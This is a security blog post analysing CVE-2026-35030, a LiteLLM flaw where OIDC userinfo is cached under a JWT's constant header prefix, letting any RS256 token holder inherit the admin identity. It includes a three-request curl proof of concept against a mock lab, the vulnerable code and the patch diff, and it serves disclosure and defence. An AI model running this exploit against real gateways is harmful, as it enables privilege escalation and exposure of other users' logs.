//nefariousplan

CVE-2026-35030: LiteLLM Cached the User Under the JWT Header

vendor

patterns

cve

proof of concept

LiteLLM v1.82.5 caches OIDC userinfo responses under the key oidc_userinfo_{token[:20]}. The first twenty characters of an RS256 JWT base64url-decode to {"alg":"RS256",. They are the same string for every user the cache has ever held. The first authenticated request populates the entry; every request that follows, from any other user signed with the same algorithm, retrieves it. The cache thought it was holding one entry per user. It was holding one entry, period. The fix in v1.83.0 is two lines. The second one is the admission.

The cache key was the algorithm, base64url-encoded

The vulnerable function is get_oidc_userinfo in litellm/proxy/auth/handle_jwt.py. Pre-patch:

# v1.82.5, litellm/proxy/auth/handle_jwt.py, line 597
async def get_oidc_userinfo(self, token: str) -> dict:
    if not self.litellm_jwtauth.oidc_userinfo_endpoint:
        raise Exception(
            "OIDC UserInfo endpoint not configured. ..."
        )

    # Check cache first
    cache_key = (
        f"oidc_userinfo_{token[:20]}"  # Use first 20 chars of token as cache key
    )
    cached_userinfo = await self.user_api_key_cache.async_get_cache(cache_key)

    if cached_userinfo is not None:
        verbose_proxy_logger.debug("Returning cached OIDC UserInfo")
        return cached_userinfo

The inline comment is the testimony. The author intended token[:20] as a per-token fingerprint, on the implicit assumption that the first twenty characters of an access token are random.

A JWT is not random. Its structure is three base64url segments joined with dots: header, payload, signature. The header is a JSON object whose canonical fields are alg, typ, and optionally kid. python-jose builds the header dictionary with alg first; the JSON serialisation is deterministic; the base64url encoding is deterministic. For RS256, the first fifteen decoded bytes are the literal string {"alg":"RS256", and the first twenty base64url-encoded characters are eyJhbGciOiJSUzI1NiIs. These are the same twenty characters for every RS256 JWT, regardless of who signed it, who it identifies, or which key it carries.

The cache key for any RS256 JWT presented to a LiteLLM gateway with oidc_userinfo_enabled: true is the literal string oidc_userinfo_eyJhbGciOiJSUzI1NiIs. The cache is keyed on the algorithm.

Three HTTP requests, one cache entry

The PoC ships a mock OIDC provider that issues RS256 JWTs against a generated RSA key, and a LiteLLM container pinned to v1.82.5 with enable_jwt_auth: true. The exploit is three requests.

# 1. Admin gets a token from the IdP, calls LiteLLM /user/info.
ADMIN=$(curl -s -X POST http://oidc-mock:8000/token \
        -H 'Content-Type: application/json' \
        -d '{"subject":"admin"}' | jq -r .token)
curl -s -H "Authorization: Bearer $ADMIN" http://litellm:4000/user/info
# {"user_id": "admin", "user_role": "proxy_admin", ...}
# Server side: LiteLLM calls /userinfo on the IdP, stores the response
# under key "oidc_userinfo_eyJhbGciOiJSUzI1NiIs".

# 2. Attacker gets a token for a different subject from the same IdP.
ATTACKER=$(curl -s -X POST http://oidc-mock:8000/token \
           -H 'Content-Type: application/json' \
           -d '{"subject":"attacker"}' | jq -r .token)
# ATTACKER[:20] == ADMIN[:20] because both are RS256.

# 3. Attacker calls /user/info with their own token.
curl -s -H "Authorization: Bearer $ATTACKER" http://litellm:4000/user/info
# {"user_id": "admin", "user_role": "proxy_admin", ...}

The third request never reaches the OIDC /userinfo endpoint. The cache hit short-circuits the path. LiteLLM constructs its UserAPIKeyAuth object from the cached userinfo, not from the JWT the attacker actually presented. The attacker is admin for the cache TTL, which the PoC's config sets to one hour.

The attacker did not crack the admin's signing key. The attacker did not steal the admin's token. The attacker held their own valid JWT for their own subject, signed by the same IdP with the same algorithm, and the cache returned the admin's identity because the cache could not tell two RS256 JWTs apart.

LiteLLM's proxy_admin role is not a labelling convenience. The role gates virtual-key minting, team and user management, model-budget creation, and the request-log endpoints that include prompts and completions for every tenant of the proxy. The platform team that wires LiteLLM in front of OpenAI and Anthropic does it specifically because they want per-user attribution, per-team budgets, and audited request logs. The cache collision returns the most-privileged identity any caller has handed the gateway in the past hour to every JWT-bearing caller, which means per-user attribution is the first thing to collapse and audited request logs are the second.

The patch is two fixes, both load-bearing

The v1.83.0 diff against handle_jwt.py:

+import hashlib
 ...
     @staticmethod
-    def is_jwt(token: str):
+    def is_jwt(token: Optional[str]) -> bool:
+        if token is None:
+            return False
         parts = token.split(".")
         return len(parts) == 3
 ...
         # Check cache first
         cache_key = (
-            f"oidc_userinfo_{token[:20]}"  # Use first 20 chars of token as cache key
+            f"oidc_userinfo_{hashlib.sha256(token.encode()).hexdigest()}"
         )
 ...
-        # Check if OIDC UserInfo endpoint is enabled
-        if jwt_handler.litellm_jwtauth.oidc_userinfo_enabled:
+        # Check if OIDC UserInfo endpoint is enabled, but fall back to standard
+        # JWT auth if the token itself is a well-formed JWT (3-part structure).
+        if (
+            jwt_handler.litellm_jwtauth.oidc_userinfo_enabled
+            and not jwt_handler.is_jwt(token=api_key)
+        ):

The first substantive hunk is the headline fix. The cache key becomes the SHA-256 digest of the full token. Every byte of the JWT contributes to the digest; two tokens that differ in any byte produce different keys.

The second hunk is the admission. The call site to get_oidc_userinfo is now gated by not jwt_handler.is_jwt(token=api_key). The userinfo path runs only when the inbound credential is not a three-part JWT. The vendor's prose comment in the diff names the new behavior: "fall back to standard JWT auth if the token itself is a well-formed JWT (3-part structure)."

Either change closes the CVE on its own. The headline fix makes the cache key correctly distinguish two different tokens. The second change ensures the cache is never consulted for the input shape that exhibited the collision in the first place. Both ship in the same release.

The PoC's fixed-container Dockerfile knows this:

# Patch: v1.83.0 added an is_jwt() check that skips OIDC userinfo for JWT tokens.
# Remove the is_jwt condition so we can test the sha256 cache key behavior.
RUN sed -i 's/and not jwt_handler.is_jwt(token=api_key)//' \
    /usr/local/lib/python3.11/site-packages/litellm/proxy/auth/handle_jwt.py

To demonstrate that the sha256 cache-key change alone defeats the collision, the researcher has to surgically remove the second guard from the patched binary. The vendor's actual shipped fix is belt and suspenders. The suspenders are the part the GHSA does not call out.

The function never knew which kind of token it was holding

OIDC's /userinfo endpoint is an OAuth2 resource. The access token presented to it has historically been opaque: a random string the IdP issues and the resource server submits back to learn who is calling. RFC 9068 standardises a JWT-shaped access token, but the userinfo flow predates the JWT-access-token shape by a decade. The cache-key-by-prefix logic in LiteLLM's userinfo path is plausible for an opaque token. The first twenty characters of a random 32-byte token are random; using them as a cache key gives one bucket per token, give or take birthday-bound collisions at very large scale.

LiteLLM's deployment shape is the JWT-access-token shape. The proxy is fronted by an OIDC provider that issues JWTs, the gateway accepts the JWT as a bearer credential, and the same code path that would key an opaque token by its prefix keys a JWT by its prefix. The parameter signature is token: str. Neither shape is enforced; neither shape is documented as the function's input contract. The cache assumed a per-actor entropy distribution that one of the two legal input shapes does not produce.

Elsewhere in the same proxy codebase, prefix slices of tokens are used correctly: key.token[:8] + "..." in key_rotation_manager.py and "{}****{}".format(api_key[:4], api_key[-4:]) in user_api_key_auth.py are display redactions. They are never asked to distinguish one token from another, because their callers know prefix slices cannot. The one place a prefix slice was promoted to a unique identifier is the one place it broke.

The second hunk in the patch fixes the structural error. It says: this function should never have run on a JWT, because JWTs are self-describing and can be validated against the cached JWKS without ever calling the IdP. The sha256 cache-key change is the local fix that covers the residual case in which an opaque OAuth2 access token does flow through this function legitimately.

Prefix is not identity

This is a relative of hash-is-not-entropy: a derived key whose entropy is bounded by the entropy of the input region the derivation actually reads. There the transform is a cryptographic hash over a guessable input. Here the transform is a substring over a structurally-prefixed input. The lesson generalises in both directions. Any time a key is derived from a slice of a value, the per-actor entropy of the key depends on whether that slice covers a region where actors actually differ.

Slices that look natural and silently break under producer-shape drift:

  • token[:N] for an auth cache key. The CVE here.
  • path.split('/')[0] for a routing decision. Breaks when the path becomes absolute or carries a scheme.
  • The first frame of a request body for a fingerprint. Breaks when the framing protocol's headers are length-prefixed.
  • The leading bytes of a hashed password for a session id. Breaks the moment the password algorithm gains a fixed salt prefix.

The compiler does not enforce the entropy contract. The type signature says str. The producer's entropy distribution lives where the producer chose to put it, and the consumer's slice covers where the consumer assumed it would be. When those two regions diverge, the slice is constant across all callers, and the key collapses to one bucket. This is prefix-is-not-identity. It is what token[:20] did to LiteLLM's OIDC userinfo cache, and it is what every value[:N] cache key risks any time the producer of value is not the same person as the author of the slice.

LiteLLM v1.82.5 collapsed to one bucket per algorithm. The hour-long TTL on that bucket made the cache a one-hour persistence layer for the most-privileged identity any user had handed it. The headline CVE is the cache collision. The structural CVE is the path that fed JWTs into a cache keyed for opaque tokens. Both shipped in v1.82.5. Both ship fixed in v1.83.0. The admission is in the diff.

PoC: learner202649/CVE-2026-35030-PoC

The cache thought it was a map. It was a singleton with an hour-long TTL on whoever logged in first.